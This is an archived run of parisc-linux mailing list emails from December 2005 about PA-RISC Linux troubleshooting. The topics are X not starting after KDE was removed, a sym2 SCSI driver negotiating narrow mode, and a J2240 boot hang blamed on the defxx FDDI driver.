List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rkbGY0Z/eSEkMr6WZHQhaXN1IGRvbwCq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23300

> > >>On Monday 26 December 2005 22:34, John David Anglin wrote:
> > >>
> > >>>X no longer starts on my c3k using unstable.  The problem seems
> > >>>to be:

Problem solved.  Somehow kde (kdm) had been purged and there was no
longer a window manger installed.  I'm sure I didn't manually delete
it.

I tried to reinstall kde but it currently can't be installed using
apt-get due to unmet dependencies.  Possibly, this has something to do
with how it got purged.

I installed gnome and X now starts.

Thanks for all the help,
Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sym2 changes between 2.6.12 and 2.6.15
Date: Thu, 29 Dec 2005 19:16:19 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <7d01f9f00512291016k67676c59i759121abdfa0cf24@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623968 17544 80.91.229.3 (22 Nov 2014 02:39:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2005 18:16:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 29 Dec 2005 19:16:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7DD907D706;
	Thu, 29 Dec 2005 11:16:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26748-05; Thu, 29 Dec 2005 11:16:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 592277D707;
	Thu, 29 Dec 2005 11:16:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C8997D705
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 11:16:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26748-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 11:16:24 -0700 (MST)
Original-Received: from nproxy.gmail.com (nproxy.gmail.com [64.233.182.205])
	by free.linux.hp.com (Postfix) with ESMTP id D468D7D704
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 11:16:23 -0700 (MST)
Original-Received: by nproxy.gmail.com with SMTP id o60so129901nfa
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 10:16:19 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=Mk2oE0HPpwlFbylx8mVMjHm8YQF7aI6gzy0qXawh/0EHeTC6CbsikGonF28OfnWfnt2a5MewdqwVvJ+4sW0chCoW6s9ggulLiKj/M9SPKnXGU1vLaCyPqgWNMueIsY6u7bHFhra3HCPFV74dBPtdCYM9nXKW22GGaIhn9ULsnBM=
Original-Received: by 10.48.254.13 with SMTP id b13mr372658nfi;
	Thu, 29 Dec 2005 10:16:19 -0800 (PST)
Original-Received: by 10.49.42.11 with HTTP; Thu, 29 Dec 2005 10:16:19 -0800 (PST)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Vk3GY2pOeSEkNb6WZHQhaXN1IGRvb4CC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23301

Hi all

I recently got 2.6.15-rc7-pa0 booting up on my rp3440 and noticed sym
wasn't initializing HDs as it previously was, in fact it was
initializing in Narrow mode instead of wide:

with 2.6.12-rc6-pa1:
 target0:0:0: tagged command queuing enabled, command queue depth 16.
 target0:0:0: Beginning Domain Validation
 target0:0:0: asynchronous.
WIDTH IS 1
 target0:0:0: wide asynchronous.
 target0:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 62)
 target0:0:0: Ending Domain Validation

with 2.6.15-rc7-pa0:
 target0:0:0: tagged command queuing enabled, command queue depth 16.
 target0:0:0: Beginning Domain Validation
 target0:0:0: asynchronous.
 target0:0:0: FAST-40 SCSI 40.0 MB/s ST (25 ns, offset 31)
 target0:0:0: Domain Validation skipping write tests
 target0:0:0: Ending Domain Validation

in both cases, though, cat /sys/class/spi_host/host0/signalling says "LVD"

jejb suggested the following: in 2.6.15-rc7-pa0:
magnum:~# cat /sys/class/spi_transport/target0\:0\:0/dt
0
magnum:~# echo 1 > /sys/class/spi_transport/target0\:0\:0/dt
  target0:0:0: FAST-40 WIDE SCSI 80.0 MB/s DT (25 ns, offset 31)
cat /sys/class/spi_transport/target0\:0\:0/dt
1
magnum:~# cat /sys/class/spi_transport/target0\:0\:0/period
25
echo "12.5" >  /sys/class/spi_transport/target0\:0\:0/period
  target0:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)

but then, alas:
magnum:~# echo 1 > /sys/class/spi_transport/target0\:0\:0/revalidate
 target0:0:0: Beginning Domain Validation
 target0:0:0: asynchronous.
 target0:0:0: FAST-40 SCSI 40.0 MB/s ST (25 ns, offset 31)
 target0:0:0: Domain Validation skipping write tests
 target0:0:0: Ending Domain Validation

magnum:~# cat /sys/class/spi_transport/target0\:0\:0/min_period
reserved
magnum:~# cat /sys/class/spi_transport/target0\:0\:0/max_width
0
magnum:~# echo 1 > /sys/class/spi_transport/target0\:0\:0/max_width
magnum:~# echo 1 > /sys/class/spi_transport/target0\:0\:0/revalidate
 target0:0:0: Beginning Domain Validation
 target0:0:0: asynchronous.
 target0:0:0: wide asynchronous.
 target0:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 62)
 target0:0:0: Ending Domain Validation

at which point jejb said:
<jejb> OK, it's picking up narrow as an nvram setting
<jejb> that's a new feature of the driver (believing the nvram)
<jejb> there's probably some secret PDC call we should be doing instead

complete boot logs:
http://www.pateam.org/archive/logs/dmesg_rp3440-2.6.12-rc6-pa1.txt
http://www.pateam.org/archive/logs/dmesg_rp3440.txt

HTH

T-Bone

--
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <clansing@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J2240 - Almost there....
Date: Fri, 30 Dec 2005 10:51:22 -0500
Lines: 248
Approved: news@gmane.org
Message-ID: <000101c60d58$e249ac40$3401a8c0@POGO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1665340200=="
X-Trace: ger.gmane.org 1416623968 17548 80.91.229.3 (22 Nov 2014 02:39:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:28 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Dec 2005 15:51:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 30 Dec 2005 16:51:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 621ED7D721;
	Fri, 30 Dec 2005 08:51:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01688-08; Fri, 30 Dec 2005 08:51:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 04CA17D712;
	Fri, 30 Dec 2005 08:51:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1EF997D70E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 08:51:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01688-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 08:51:27 -0700 (MST)
Original-Received: from mxsf09.cluster1.charter.net (mxsf09.cluster1.charter.net
	[209.225.28.209])
	by free.linux.hp.com (Postfix) with ESMTP id 5DDB37D706
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 08:51:27 -0700 (MST)
Original-Received: from mxip05a.cluster1.charter.net (mxip05a.cluster1.charter.net
	[209.225.28.135])
	by mxsf09.cluster1.charter.net (8.12.11/8.12.11) with ESMTP id
	jBUFpQYP023033 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 10:51:26 -0500
Original-Received: from 24-176-131-136.dhcp.sffl.va.charter.com (HELO POGO)
	([24.176.131.136])
	by mxip05a.cluster1.charter.net with ESMTP; 30 Dec 2005 10:51:26 -0500
X-IronPort-AV: i="3.99,315,1131339600"; 
	d="scan'208,217"; a="1658787005:sNHT29085074"
X-Mailer: Microsoft Office Outlook 11
Thread-Index: AcYNWOHo183AT5mdSAu9xj7u3okQ6A==
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3jLHY+IHeSEkVb6WZHQhaXN1IGRvb8AY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23302

This is a multi-part message in MIME format.

--===============1665340200==
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0002_01C60D2E.F973A440"

This is a multi-part message in MIME format.

------=_NextPart_000_0002_01C60D2E.F973A440
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

I have an old J2240 w/ p1120 console that I was going to throw away, but
decided to load the most recent PA-RISC Linux instead.  I had loaded and
gotten it running from the PA-RISC project several years ago.  Using the
ISO's from 12/19/05 I was able to successfully install on one of the hdd's
(FWSCSI.5.0), but cannot boot to a prompt. When booting from path FWSCSI.5.0
I get the 2 Tux images, a long list of console output, and get the point
below and it freezes.  I have tried booting using a serial console, but
cannot get connected to the serial port.  Any ideas on how to proceed from
here?

 

End of console output:

----------------------------------------------------------------------------
--------------------------------------------------------

Starting hotplug subsystem:

            pci

                        tulip: already loaded

defxx.c:v1.06 2003/08/04 Lawrence V. Stephani and others

fddi%d: DEFPA at I/O addr = 0x100, IRQ = 96, Hardware addr =
58-B0-60-00-00-00

----------------------------------------------------------------------------
---------------------------------------------------------

 

Other info.:

SESCSI.3.0 = HP C1537A Tape

SESCSI.2.0 = Toshiba CD-ROM (used for install)

FWSCSI.6.0 = IBM HDD (HP-UX 10.0)

FWSCSI.5.0 = IBM HDD (Linux)

 

 

 

 

 


------=_NextPart_000_0002_01C60D2E.F973A440
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0in;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	font-family:Arial;
	color:windowtext;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I have an old J2240 w/ p1120 console that I was going =
to
throw away, but decided to load the most recent PA-RISC Linux =
instead.&nbsp; I
had loaded and gotten it running from the PA-RISC project several years
ago.&nbsp; Using the ISO&#8217;s from 12/19/05 I was able to =
successfully
install on one of the hdd&#8217;s (FWSCSI.5.0), but cannot boot to a =
prompt.
When booting from path FWSCSI.5.0 I get the 2 Tux images, a long list of
console output, and get the point below and it freezes.&nbsp; I have =
tried
booting using a serial console, but cannot get connected to the serial
port.&nbsp; Any ideas on how to proceed from =
here?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>End of console output:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>------------------------------------------------------=
-------------------------------------------------------------------------=
-----<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Starting hotplug =
subsystem:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; pci<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp; tulip:
already loaded<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>defxx.c:v1.06 2003/08/04 Lawrence V. Stephani and =
others<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>fddi%d: DEFPA at I/O addr =3D 0x100, IRQ =3D 96, =
Hardware addr =3D
58-B0-60-00-00-00<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>------------------------------------------------------=
-------------------------------------------------------------------------=
------<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Other info.:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>SESCSI.3.0 =3D HP C1537A =
Tape<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>SESCSI.2.0 =3D Toshiba CD-ROM (used for =
install)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>FWSCSI.6.0 =3D IBM HDD (HP-UX =
10.0)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>FWSCSI.5.0 =3D IBM HDD =
(Linux)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------=_NextPart_000_0002_01C60D2E.F973A440--


--===============1665340200==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1665340200==--



From - Thu Nov 08 21:34:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost there....
Date: Fri, 30 Dec 2005 15:09:25 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20051230200924.GA3556@tachyon.int.mcmartin.ca>
References: <000101c60d58$e249ac40$3401a8c0@POGO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623969 17550 80.91.229.3 (22 Nov 2014 02:39:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Craig D. Lansing" <clansing@charter.net>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Dec 2005 20:09:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 30 Dec 2005 21:09:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1072B7D6FD;
	Fri, 30 Dec 2005 13:09:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02908-09; Fri, 30 Dec 2005 13:09:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E45FD7D702;
	Fri, 30 Dec 2005 13:09:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2AC667D6F9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 13:09:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03048-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 13:09:29 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 856807D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Dec 2005 13:09:29 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 13DF923E83;
	Fri, 30 Dec 2005 15:09:26 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31389-08; Fri, 30 Dec 2005 15:09:25 -0500 (EST)
Original-Received: from tachyon.int.mcmartin.ca
	(CPE0030ab0b413b-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.28.1.105])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "tachyon.int.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id C20F923E82;
	Fri, 30 Dec 2005 15:09:25 -0500 (EST)
Original-Received: by tachyon.int.mcmartin.ca (Postfix, from userid 1000)
	id 1DDC3D6C12; Fri, 30 Dec 2005 15:09:25 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <000101c60d58$e249ac40$3401a8c0@POGO>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VPHHY9VdeSEkML6WZHQhaXN1IGRvb0Dz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23303

On Fri, Dec 30, 2005 at 10:51:22AM -0500, Craig D. Lansing wrote:
> defxx.c:v1.06 2003/08/04 Lawrence V. Stephani and others
> fddi%d: DEFPA at I/O addr = 0x100, IRQ = 96, Hardware addr = 58-B0-60-00-00-00

I'm going to take a stab and say this is your problem. You're likely going
to see a HPMC chassis code however this machine displays such a thing (look
up the LED code, or it should display it right on an LCD if it was one.)

[Thanks for identifying a piece of non-working hardware.]

To work around this, you have two options:

	1 - Remove the expansion card, if possible.

	2 - Boot single user, (append single to the PALO/IPL command line)
		2.1 - Edit/create /etc/hotplug/blacklist.d/parisc and
			add the module name (probably defxx) to the file.

If other modules give you grief, repeat the step to blacklist them.

I'll make sure this module doesn't get built into the kernel, the driver
is probably written non-portably, and thus fails miserably on 'odd'
hardware like parisc.

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <clansing@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] J2240 - Almost there....
Date: Fri, 30 Dec 2005 22:16:59 -0500
Lines: 64
Approved: news@gmane.org
Message-ID: <000301c60db8$ab35c850$3401a8c0@POGO>
References: <20051230200924.GA3556@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623969 17553 80.91.229.3 (22 Nov 2014 02:39:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Kyle McMartin'" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
